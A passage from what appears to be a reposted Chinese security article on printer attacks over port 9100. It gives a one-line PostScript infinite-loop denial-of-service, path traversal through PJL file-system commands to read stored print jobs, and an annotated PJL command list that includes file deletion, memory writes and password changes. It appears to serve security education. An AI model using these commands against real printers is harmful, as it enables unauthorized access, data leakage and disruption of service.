| 当向打印机9100端口发送任何数据,打印机都可将其打印出来,文章前部分发现,9100端口还支持原始打印、PCL、PostScript和PJL,即可以通过9100端口执行PJL。当执行DOS,则可无限循环打印任务,导致打印任务不断执行,资源耗尽,无法执行打印操作。按个人理解简单点说,就是当发起打印任务时,打印机等任务发起结束,才会执行下一步的打印操作,如果一直循环打印任务,则无法到达下一步。通过几行PostScript代码实现DOS。 PS代码实现的循环: %!  {} loop 
 3. 路径遍历漏洞-案例分析 这不是针对某个型号的漏洞,算是打印机的一个通用漏洞,可以通过../等进行目录穿越,对文件进行读取和写入,不过并不是所有的目录文件都可读写,当发现无法读写时,可继续切换其它目录测试,可能存在可读写的文件,从而泄露敏感文件,如“Jobs”目录中存储的就是打印任务,可以通过PFT  、PRET工具包读取存储在其中的任何打印任务。 如果允许 PJL 命令访问该设备的文件系统,远程攻击者可以借助 PJL  读取任意文件,远程连接打印机并进行遍历目录操作。这里借用个人之前的案例演示,通过9100端口执行PJL命令,并且未授权访问打印机。在学习之前,需要熟悉PJL命令。如下是本人对PJL命令的整理: @PJL FSDELETE NAME = “pathname” [<CR>]<LF>                           # 删除文件    @PJL FSDOWNLOAD FORMAT:BINARY [SIZE=int] [<CR>]<LF>                  # 下载文件到打印机  @PJL FSINIT VOLUME = “pathname” [<CR>]<LF>                           # 初始化打印机文件系统  @PJL FSMKDIR NAME = “pathname” [<CR>]<LF>                            # 创建目录  @PJL DINQUIRE CPLOCK                                                 # 检查控制面板状态  @PJL DINQUIRE PASSWORD                                               # 检查密码保护状态  @PJL JOB PASSWORD = [Number:0 to 65535]                              # 当前密码保护密码  @PJL DEFAULT PASSWORD [Number:0 to 65535]                            # 修改保护密码  @PJL DEFAULT CPLOCK = [ON, OFF]                                      # 控制面板状态  @PJL SET IOBUFFER = [ON, OFF, AUTO]                                  # 设置缓冲区  @PJL SET IOSIZE = [10-100]                                           # 设置缓存区大小  @PJL SET PCNAME = [String]                                           # 设置计算机名称  @PJL SET HOLD = [ON, JOB, STORE, PROOF]                              # 设置文件保存  @PJL SET HOLDKEY = [Number:0000 to 9999]                             # 设置保存文件密码  @PJL DEFAULT DISKLOCK = [ON, OFF]                                    # 设置硬盘锁定状态  @PJL SET SPOOLTIME                                                   # 设置打印日期  @PJL SET COPIES                                                      # 设置打印数  @PJL SET JOBNAME                                                     # 设置打印机文件名称  @PJL SET RESOLUTION                                                  # 设置分辨率  @PJL SET DRIVERNAME                                                  # 设置驱动  @PJL USTATUS JOB                                                     # 输出 队列中还未打印任务的 状态  @PJL COMMENT                                                         # 添加注释  @PJL SET OUTTRAY                                                     #出纸盘(纸张输出位置)  @PJL SET ORIENTATION = [PORTRAIT, LANDSCAPE]                         #页面方向  @PJL SET DUPLEX = [ON, OFF]                                          #双工模式(双面打印)  @PJL SET BINDING = [LONGEDGE, SHORTEDGE]                             #双工模式:短边、长边  @PJL RNVRAM ADDRESS                                                  #读取内存  @PJL OPMSG DISPLAY                                                   #设置打印机离线脱机  @PJL SET SERVICEMODE                                                 #设置服务模式  @PJL WNVRAM ADDRESS                                                  #写入内存  @PJL FSDIRLIST NAME                                                  #读取目录  @PJL FSQUERY NAME                                                    #读取文件  @PJL FSUPLOAD NAME                                                   #文件上传  @PJL FSDOWNLOAD                                                      #写入文件 
 (1) @PJL FSDIRLIST NAME=”0:/” ENTRY=1 COUNT=1024 
 上图发现目录名称是 0:/,有两个目录,一个是本地目录./,一个是../目录。 (2) 读取 ../ 目录,发现其下有7个,./代表本目录 (编辑:宣城站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |